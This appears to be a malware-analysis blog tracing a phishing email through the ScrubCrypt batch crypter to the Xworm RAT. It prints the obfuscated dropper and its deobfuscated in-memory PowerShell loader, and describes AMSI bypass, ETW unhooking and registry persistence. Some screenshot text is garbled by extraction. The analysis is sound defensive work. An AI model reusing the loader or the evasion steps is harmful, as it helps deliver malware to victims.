ScrubCrypt - The Rebirth of Jlaive

0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive



In this blog we are going through a recent phishing campaign that leverages a new crypter sold in underground forums.

Overview

In the past weeks a new thread was posted in the "Cryptography and Encryption Market" section in hackforums.net promoting a new crypter called "ScrubCrypt"



ScrubCrypt Selling Thread

This crypter was found used in a recent phishing campaign which eventually delivered Xworm RAT.

We will be going through all the analysis steps from the phishing mail the victim receives to analyzing and deobfuscating the crypter(and its origin) and identifying the final **Xworm** binary.

The Phish

The user received a mail with the subject: "LEP/RFQ/AV/04/2022/6030", the mail itself contains a generic body content, letting the user know that he has an attachment that needs to be open.

LEP/R	FQ/AV/04/2022/6030	
С	Chandran 12/20/2022 1:19 AM	
	LEPRFQAV04,pdf.001	
	37./3 КВ	
Good Da	ау,	
Please q	quote us your best price and rush deliv	very details for the attached enquiry.
Kindly a	ttach datasheet/catalogue for our ref	erence.
Awaitin	g your earliest reply on the same	
Best Reg	gards,	
Chan	lran	
Phishing	g Mail	

The mail has attached archive file (**LEPRFQAV04,pdf.001**), inside of it we can find a **.bat** file (batch script) that supposed to be executed by the user and lead to a multistage execution chain.



Archive Content

LEPRFQAV04,pdf.bat

Static Information

Sha256: 04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578

VT Detection: 24/61 (Link)

24	() 24 security vendors and 1 sandbox flagged this file as malicious						
/61	04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578 49.21 KB 2022-12-22 07:56:13 UTC 04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578.bat Size 2 days ago						
?	sets-process-name checks-cpu-name detect-debug-environment long-sleeps direct-cpu-clock-access calls-wmi macro-powershell						
X Community Score 🗸							
VT Incrimination							

The script is completely obfuscated:

E LEPRFQA	V44pd bat 3
1	0echo off
2	power%0%she%=%1%=%1 % %-%!%w % %h% %id%-%den % %-C%-% #%?%
3	set CUn%@%TR=%#%C:\%#%Win%-%dows%!%\%-%Sy%+%s%#%te% %m32%!%\W%=%ind%?%ow%@%s%!%Po%=%wer%!%She%#%ll%!%\v1%?
	\$.0% %\p%+%ow% %ersh% ? %el%+%l.e% @ %xe%=%
4	copy %CUnTR% "%~0.e%?%xe" %-%/%!%y%?% %!%&& cl%-%s%0%
5	"%~0.exe" fu% %nct%+%io%=%n%=% y%?%A%+%(\$% %t){%=%\$t.R%=%epla%#%cc%+%('%+%@', %#%''%-%)}%=%\$iw%#%qO=%!%yA
	%=% %0%'%?%Ge% %t@C%?%@u%?%rr@%!%ent@%!%P%?%@r%@%oce%!%@ss%?%@';\$% %k%=%n%!%sa% %=yA %@%'R%
	%ea\$!%@d%!%Al@%=%lT@e% %@xt%!%@';%!%\$G%?%Eo%#%F=%=%y%-%A% % 'E%=%n%?%@t@%?%ry@%!%Po%#%i%!%n@t%#%@'%=%;%
	\$\$\$\$?\$dq% %l=y%!%A '% %Ch%@%@a%+%n%?%ge@% %E@xt%?%e@% %n%!%si@%#%on%#%@';% %\$qzp% %w=y%-%A %+%'%!%Fro%=%m
	%-%@%?%Bas%?%@e% %6%+%4%-%S@t%+%r%-%i@%?%ng%@%@'% %;% %\$c%?%JI%=%Q=y%+%A%?% 'L%-%o@%@%ad@%!%';\$u% %Gg%=%V%
	?%=%=%yA '%-%Tr@%!%a@n@%+%sfo% %r%+%@m@%=%F0%-%in%+%0a% %1%0%0%%0%% %0100%0%c%?%k%#%0%0%';\$%-%Q1Q%+%Q% %=%=
	\$Y\$@\$A 'S\$+\$p\$-\$@1\$@\$@i\$#\$t@'\$ \$;\$\$+\$neAB\$?\$=\$=\$yA \$@\$'In\$!\$@v\$@%o\$@\$@k8+\$e@\$ \$';\$ \$\$Q\$?\$j\$#\$QB=y\$ \$A \$@\$'
	\$?%Cre%!%@at% %@eD%@%%#%ec%-%@r%-%y0%!%p%#%to@r%-%@'%#%;fu%=%nct%#%i%@%on%?% Rp%?%FzY(%@%\$j% %AaJE% %,\$%@
	%RZz%#%RM,\$% %cnk%?%fF)%+%{\$D%#%L%#%ZbE% %=% !%[Sy%-%s%=%te%-%m.Se%=%cur%#%it% %y.%+%Cr%=%y%?%p%-
	\$t\$!%ogr%!%aph%=%y.A%?%e%?%s%-%]:%-%:C%+%reat%@%e(%@%)%!%;%!%\$DL% %Zb%=%E.%=%Mod% %e%@%=%=%[Sy%?%ste%-%m.S
	\$@\$ ec \$+\$uri\$!\$ ty\$ \$.Cr\$+\$y\$!\$pto\$@\$gr\$ &a\$+\$ph\$+\$y\$!\$.Ci\$+\$p\$@\$her\$#\$Mo\$#\$de\$#\$]\$!\$:\$-\$:CB\$!\$C;\$D\$!\$L\$-\$Z8
	\$bE.%?%Pad% %d%@%ing% %=[Sy%!%st%#%e%#%m%=%.%+%S%@%e% %cur% %it%@%y.%-%Cr%#%y%?%pt%=%og%-%ra%-%phy% %.P%#
	\$add\$!\$ing\$+\$Mo\$=\$de]\$!\$:\$! \$:\$=\$PKCS\$+\$7:\$?\$\$DT\$?\$ZbF.\$ \$K\$@\$ev\$@\$=[\$ \$Sv\$! \$stem8-8.\$ \$Co\$#\$nve\$#\$rt]:\$@



By first glance we can notice 2 main things:

1. 1.

The script has junk code which utilize the % symbol in batch scripting.

- 2. 2.
 - The end of the script contains a huge encrypted blob of data as a comment (::)

6	
	$\label{eq:linear} YLgwulmyDoeVPmkrdSOTM9whCLPaLyyhN5w6sgfMbk55JXHATU5HgMnJijgIu8xmHQHGnX40g7UXFYePq3pHDMEogPjZJTe3UC6bWSLXJx and the set of t$
	isXLYJ4Zm3AX85B6diXezdvBdupi/++xrgewOBpl2/Rf4Uu4P+aJCRuIsynuE9WJMk12r/BqE4QfiRnPoUvulGi9KYxrnMb5vZVLpQkdu+
	Hd6yQTLuooJf5C7bdMoTrUJDfNSYDv29+iuBD7/J8JPqhspBHQGqRUxosrH3wi7EZ3PmL3PeuYI112NIUtqfP+
	8h6wA4th4doF0167ejnVqoyn4mbc19UBg6qWCFy5HM51zKZyFCdohZShU0m6eDXKVRam/BGPfFBwSyJCRhzuUN2Asx87hDiaWe1+
DIAL	

Blob Of Data

Batch Deobfuscation

I start off with removing all the junk code the script contains by using the next script:

import re

NON_WORD_PATTERN = '%\W%'

file_path = '/Users/igal/malwares/Scrub Crypt/3 - LEPRFQAV04,pdf.bat'

fo = open(file_path,'r').read()

clean_script = re.sub(NON_WORD_PATTERN,",fo)

print(clean_script)

Output:

@echo off

powershell -w hidden -c #

set CUnTR=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

copy %CUnTR% "%~0.exe" /y && cls

"%~0.exe" function yA(\$t){\$t.Replace('@', ")}\$iwqO=yA 'Get@C@urr@ent@P@roce@ss@';\$knsa=yA 'Rea@dAl@IT@e@xt@';\$GEoF=yA 'En@t@ry@Poin@t@';\$sdql=yA 'Ch@ange@E@xte@nsi@on@';\$qzpw=yA 'From@Bas@e64S@tri@ng@';\$cJIQ=yA 'Lo@@';\$uGgV=yA 'Tr@a@n@sfor@m@F@in@al@B@lo@ck@';\$QIQQ=yA 'Sp@l@it@';\$neAB=yA 'In@vo@ke@';\$QjQB=yA

'Cre@at@eD@ec@ry@pto@r@';function RpFzY(\$jAaJE,\$RZzRM,\$cnkfF){\$DLZbE=

[System.Security.Cryptography.Aes]::Create();\$DLZbE.Mode=[System.Security.Cryptography.CipherMode]::CBC;\$DLZbE.Padding= [System.Security.Cryptography.PaddingMode]::PKCS7;\$DLZbE.Key=[System.Convert]::\$gzpw(\$RZzRM);\$DLZbE.IV=

[System.Convert]::\$qzpw(\$cnkfF);\$YQilq=\$DLZbE.\$QjQB();\$mYMLI=\$YQilq.\$uGgV(\$jAaJE,0,\$jAaJE.Length);\$YQilq.Dispose();\$DLZbE.Dispose AYCAO(\$jAaJE){\$uSXLQ=New-Object System.IO.MemoryStream(,\$jAaJE);\$RWxVj=New-Object System.IO.MemoryStream;\$YYDyP=New-Object System.IO.Compression.GZipStream(\$uSXLQ,

[IO.Compression.CompressionMode]::Decompress);\$YYDyP.CopyTo(\$RWxVj);\$YYDyP.Dispose();\$uSXLQ.Dispose();\$RWxVj.Dispose();\$RWxVj.BxKKh(\$jAaJE,\$RZzRM){[System.Reflection.Assembly]::\$cJIQ([byte[]]\$jAaJE).\$GEoF.\$neAB(\$null,\$RZzRM);}\$WIqMk=

[System.IO.File]::\$knsa([System.IO.Path]::\$sdql([System.Diagnostics.Process]::\$iwqO().MainModule.FileName,

\$null)).\$QIQQ([Environment]::NewLine);\$nwgCf=\$WIqMk[\$WIqMk.Length-1].Substring(2);\$voaim=

[string[]]\$nwgCf.\$QIQQ(\');\$SPONW=AYCAO (RpFzY ([Convert]::\$qzpw(\$voaim[0])) \$voaim[2] \$voaim[3]);\$mOxVC=AYCAO (RpFzY ([Convert]::\$qzpw(\$voaim[1])) \$voaim[2] \$voaim[2]);BxKKh \$mOxVC \$null;BxKKh \$SPONW \$null;

::K8fQqk7xvojjb2P9cYvAvVZq2IXoHsKBw6gFb0XhzLyV5n92FTvZL6MK9KFRY8weBiypW/knQPmWgUurEdWUIrgCmzr2gamQnLsxndquXEgi5Gk

Great, now the script is less obfuscated and we can see that there is a powershell script embedded. I've cleaned the script and changed some of the variable names:

What the script does?

The script takes the blob data I've mentioned that comes right after the :: comment in the batch script. It will split it by **backslash** and save the splitted data in a variable (**\$blob_data_chunk**)

<pre>\$batfile_data=[System.IO.File]::\$v_ReadAllText([System.IO.Path]::\$v_ChangeExtension([System.Diagnostics.</pre>
Process]::\$v_GetCurrentProcess().MainModule.FileName, \$null)).\$v_Split([Environment]::NewLine); #splits
the data in the initial bat file by newline
<pre>\$blob_data_chunk=\$batfile_data[\$batfile_data.Length-1].Substring(2); #takes the last splitted data from</pre>
the 'Z' index (meaning after '::')
<pre>\$blob data=[string[]]\$blob data chunk.\$v Split('\'); #the blob data splitted by '\'</pre>

Split Data Function

The variable will be now an array with 4 elements:

Encrypted data 1

Encrypted data 2

Base64 encoded AES256 encryption key

Base64 encoded AES256 encryption IV

The script will pass each encrypted data with the encoded key and IV to decryption function (**f_aes_decrypt**), the return value from the function will be **gz** archive which will then be passed to a decompress function (**f_decompress_data**) which will return binary in a form of byte array.



Decryption Function

And the last thing the script will do is to invoke and execute these binaries. The next script can be used to retrieve the archives:

from Crypto.Cipher import AES

from base64 import b64decode

def aes_decrypt(data, key, iv):

decrypt_cipher = AES.new(key, AES.MODE_CBC, iv)

return decrypt_cipher.decrypt(data)

data_blob = clean_script.split('::')[-1].split('\\')

enc_blob_1 = b64decode(data_blob[0])

enc_blob_2 = b64decode(data_blob[1])

key = b64decode(data_blob[2])

iv = b64decode(data_blob[3])

archive_1 = aes_decrypt(enc_blob_1, key, iv)

archive_2 = aes_decrypt(enc_blob_2, key, iv)

file_path = '/Users/igal/malwares/Scrub Crypt/archive'

fo = open('{0}{1}.gz'.format(file_path,1),'wb').write(archive_1)

fo = open('{0}{1}.gz'.format(file_path,2),'wb').write(archive_2)

Now we can go through the binaries and analyze each one of them; based on the script execution flow, the first binary that will be executed is the one stored in **archive2**.

XsXIIt.tmp

Static Information

Sha256: 05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1

VT Detection: 18/	71 <u>(Link)</u>		
18	() 18 security vendors and no sandboxes flagged this file as malicious		C X
771	05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1 XsXIIIt.tmp peexe assembly	14.50 KB 2022-12-24 19:07:16 UTC Size 1 minute ago	SC. EXE
× Community Score V			

VT Incrimination

The binary is .NET based as we can inspect using DiE



DiE Analysis

I've opened the binary in DnSpy and found out it's obfuscated:

Internal class \u009F\u004/gM\u0012
// Token: 0x06000002 RID: 2 RVA: 0x00002108 File Offset: 0x00000308 private static void ËJb\u00A0H-\u00A3\u00I5\u00B8]ä]iy\u00AB1č\u00AB3c\u00AB6c\u00AB6c\u00B6E@ägÉDPýt\u00BF0M\u00BF0M\u00BFC\u00BA1\u00I2\u00AB\u00IB\u00IB(u00IA()
47qÅxh/u00035/u0081/u00F7Ñ/u0087/\u0087/9/u0085/u008FVRä;\u008D/u0016;δbÜ_q/u001D/u0088C/u0082#h.\u008F/u0047gM/u0012.\u0084L/u008E/u0091/u00A6]ü4m/u0080/u0017u/u001E>z#B/u0002F/u00956 \u00081/u000FDä6/u0008/u0088)u/u0092/u00A1ÒÒ/u0082(\u0085Lu0005Lu0084z#gbKcX/u0018Å/u0085/u0016/u0086Xi=\u0013DñĨ£/u0002@/u00A3Drw/u00120ysú@ýá]\u00868Ň/u0081/u0086 = Process.GetCurrentProces
47分k/h/u00035/u0087/u00877/u00877/u0087/9/u0085/u008FVR#;\u008D/u0016;5bÜ_q/u001D/u00886/u0082xh.\u009F\u008F/u00877/u00812/u0083ba1}åð/u0087/u0077/u0087/u0077/u0077/u0087/u0077/
<pre>47qÅxh/u00035/u0087/\u00877/u00877/u0087/\u008</pre>
<pre></pre>
\u007FjÄc\u00978\u0086=\u0086=\u0086{\u00804\u00804\u0080\u0098\u0087!\u0093å=*,µZVpÀu\u008Cā_&MkČ\u0093M X\u0081\u0094E\u0096à\u0090\u009c("럷럡력탥탥릯럭렭벍", 1165382101, -1969178687, 498967762, -284893319, -720482020);
string text2 = Mo.ug/u0084%/u00887/u00887/u00887/u00897/u00897/u00897/u008087/u00804/u000951X/u00847/u00887/u0087/u0088
<pre>byte[] array = new byte[] { 195 }; byte[] array2 = new byte[3];</pre>

Obfuscated Binary In DnSpy

Breaking the deobfuscation

I will be going through now a way I've managed to deobfuscate the code and make it text clear. First of all, we open up **SAE**(SimpleAssemblyExplorer) and navigate to the location where the binary is located, right click on the binary and select **"Deobfuscator"**:

File Name			4	Assembly Name	Version	Public Key Token	Processor Architecture	Target Runtime
XsXllt.tmp.e	exe			XsXllt	0.0.0.0		MSIL	4.0
		Assembler						
	7	Disassembler						
		Deobfuscator						
		Strong Name						
		PE Verify						

Deobfuscator Option In SAE

Then we simply click OK and waiting for SAE to deobfuscate for us the code:

Deobfuscator		– 🗆 🗙
General Options	Additional Options	
Profile	Default 🗸	Ignored Type File
Output Directory	C:\Userstemp\	
Name Options	Non-Ascii 🗹 <u>Random</u> 🗹 <u>Regex (File)</u>	Hex Rename
String Options	Automatic replacement	call
Flow Options	Boolean Function V Pattern	
	Branch (Max. Ref. 2 🖨 Direction TopDown	~)
	Conditional Branch (Down) Conditional Branch (Up)	Switch
	Unreachable Block Move	Remove exception handler
	Delegate Call Direct Call	Remove Invalid Instruction
	Reflector Fix Loop Count 2	
	Stop Close	
=== Started at 12/2	24/2022 9:20:06 PM ===	
Loading : C:\Users	XsXIIt.tmp.exe	
Deobfuscating: C:\U	sers XsXIIt.tmp.exe	

SAE Deobfuscation Process

Now we can open up the binary and find out that it's a bit more clearer then previously:



Semi Cleaned Binary

But this is not enough, we can see that there is a repetitive method being used by the program c000001.m000001, we can use **De4Dot** and deobfuscate the code even more, one thing that we need for it is the method token (which can be retrieved by clicking the method and looking on the comment above it):



Method Token

Now that we have the token we can use the next command to deobfuscate the code: de4dot.exe <SAE_deobfuscated_binary> --strtyp delegate --strtok 06000001

After the deobfuscation process was succeeded, a "clean" binary will be created in the binary folder, we can open it in DnSpy and see how the magic happens and work with a clear text binary:





Evasion Techniques

This binary does 2 main operations: 1 - **AMSI Bypass** - The dev isn't trying to be too much creative and copycats rasta-mouse AmsiBypass C# code which can be found on his github repo







ETW Unhooking

After the execution of this binary, the second binary will be executed which is stored in **Archive1** (the execution of this binary won't be logged in the event tracer as the unhook in the previous binary occured).

JuCdip.tmp

Static Information

Sha256: ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a

```
VT Detection: 23/70 (Link)
```



VT Incrimination

The binary is .NET based as we can inspect using DiE



I've opened up the binary in DnSpy and found out it's obfuscated (for the sake of not making this blog too much long, i will skip the deobfuscation process of this binary as it's the same we did with the previous one) The clear code:



Post Deobfuscation Binary

Persistence & Execution

Now that we have the clean code, we can go through what the binary actually does, firstly thing that I've noticed (that eventually led me to finding the ScrubCrypt origin) is the name of the binary SCRUBCRYPT



ScrubCrypt Binary Name

After that I've started to searching for it's origin but this will be explained later. The binary does two main things:

Persistence: Once the program executed it will create a powershell task to delete the binary file from the victim's computer once the execution of the program is done. Then the program creates a Mutex (iJOMzLdJpA, if the mutex already taken it will terminate itself) The program will then lookup in the registry and in the startup folder whether or not a persistence for the binary was already made. If the program couldn't find any persistence related to the binary it will create its own persistence by creating two files in the appdata folder one file is a .bat file with the content of the initial batch file and second file which is a .vbs file that will execute the .bat file; a registry key will be created under HKCU\Software\Microsoft\Windows\CurrentVersion\Run which will execute the .vbs file once the system is rebooted, the mutex then will be released and the program will execute itself again.

static void m000002(int p0)

- Arguments = "\"\$a = [System.Diagnostics.Process]::GetProcessById(" + p0 + ");\$b = \$a.MainModule.FileName;\$a.WaitForExit();Remove-Item -Force -Path \$b;\"",

PowerShell Task

	I TIAG;				
c00	0002.f000001		Mutex(false,	"iJOMzLdJpA",	flag);
	(!flag)				
{					

Mutex Creation



Persistence Creation

Execution: After the program was restarted and confirmed its own persistence it will execute the final payload which is stored encrypted in the binary resources. The encrypted data is simply Xor'ed with a 32 byte long key (in this case:

aZAZGrV01gDxdyHvNzxAcXR1cnuJCRId); After the xor operation the program will decompress the payload out of the xor'ed archive. Then the program will load the final payload and invoke its EntryPoint.







Xor Operation & Decomperssion



EntryPoint Invocation

I've created a small script that will extract the resource from the binary, xor it and will save the final payload archive:

import dnfile

from binascii import hexlify

FILEPATH = '/Users/igal/malwares/Scrub Crypt/4 - scrubcrypt binary.bin'

XOR_KEY = 'aZAZGrVOlgDxdyHvNzxAcXRlcnuJCRId'

def xor_helper(to_xor, key):

 $key_len = len(key)$

decoded = []

for i in range(0,len(to_xor)):

decoded.append(to_xor[i] ^ key[i % key_len])

pe = dnfile.dnPE(FILEPATH)

for rsrc in pe.net.resources:

- rsrc_data = xor_helper(rsrc.data, XOR_KEY.encode())
- file_path = '/Users/igal/malwares/Scrub Crypt/final_payload'
- fo = open('{0}.gz'.format(file_path),'wb').write(rsrc_data)

The Final Payload

The purpose of the blog is mainly to cover the crypter but because the final payload being delivered by the crypter is pretty unknown we will cover it in few sentences.

Static Information

Sha256: 814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6

VT Detection: 41/71 (Link)



VT Incrimination

Opening the binary in DnSpy we can see that the binary name is XWormClient



XwormClient

By quick analyzing it, the malware is Xworm RAT which being sold on underground forums for a price tag of 100\$

EvilCoder

X EvilCoder

A VVOITIT V 2.2	
Product sold 22 times 👌 🛧 5 (9 reviews	;)
🖲 XWorm V2.2	
😭 Builder :	
 ✓ Schtasks - Startup - Registry ✓ AntiAnalysis - USB Spread - Icon - ✓ Icon Pack 	Assembly
😭 Connection :	
🗹 Stable Connection - Encrypted Co	nnection
🛠 Tools :	
✓ Icon Changer - Multi Binder [Icon ✓ Fud Downloader [HTA-VBS-JS-WS	- Assembly] ;F] - XHVNC - BlockClients
😭 Features :	
 Information Monitor [Mouse - Keyboard - AutoS Run File [Disk - Link - Memory - Sci WebCam [AutoSave] Microphone System Sound Open Url [Visible - Invisible] TCP Connections ActiveWindows Process Manager Clipboard Manager Shell Installed Programs 	ave] ipt - RunPE]

Purchas	е		×		
	1	+	Stock ∞		
Subtotal			\$100.00		
		Buy Now			
🖏 Apply a Coupon					

Xworm Selling Site

The malware is created by the EvilCoder Project and their post thread can be found in Cracked.io forum:



ScrubCrypt Origin

Now that we've covered the campaign, we can talk about the origin of the crypter. The crypter is being sold on Hackforums (as mentioned on the beginning of the blog) for about **40\$** (for 1 month sub) When I was investigating **ScrubCrypt** I was suspecting that the crypter is a simple copycat of a well known Batchfuscator crypter **Jlaive** (<u>Github</u>). After reading some customers comments on the Hackforums post I've stumbled upon this comment:



Customer Comment

Which followed up with answer from Chash (Jlaive crypter developer):

	12-12-2022, 03:51 AM (This post was last modified: 12-12-2022, 04:10 AM by chash.)	♡ ᡌ %
	mrpker9 Wrote: »	(12-12-2022, 01:43 AM)
chash ● PowerShell Abuser ★ ক্রিন্ট্রান্ট	What is the benefit of buying it out of your senix? We have been in the process of shifting all sales to ScrubCrypt and taking Jlaive off sale.	
Posts:10Threads:1B Rating:1O OPopularity:34βytes:GGame XP:1	ScrubCrypter Effortlessly evade antivirus detection	

Jlaive Developer Response

Conclusion

In this blogpost we went over the execution pattern of the recent rebranded Jlaive crypter, which eventually executes a RAT type malware from the Xworm family. ScrubCrypt was created for marketing reasons and keeping the name of the "Jlaive" crypter alive.

IOC's

Samples:

LEPRFQAV04,pdf.001 - <u>28d6b3140a1935cd939e8a07266c43c0482e1fea80c65b7a49cf54356dcb58bc</u> LEPRFQAV04,pdf.bat - <u>04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578</u> amsi & etw.bin - <u>05eac401aa9355f131d0d116c285d984be5812d83df3a297296d289ce523a2b1</u> scrubcrypt binary.bin - <u>ad13c0c0dfa76575218c52bd2a378ed363a0f0d5ce5b14626ee496ce52248e7a</u> xworm.bin - <u>814187405811f7d0e9593ae1ddf0a43ccbd9e8a37bee7688178487eeef3860c6</u>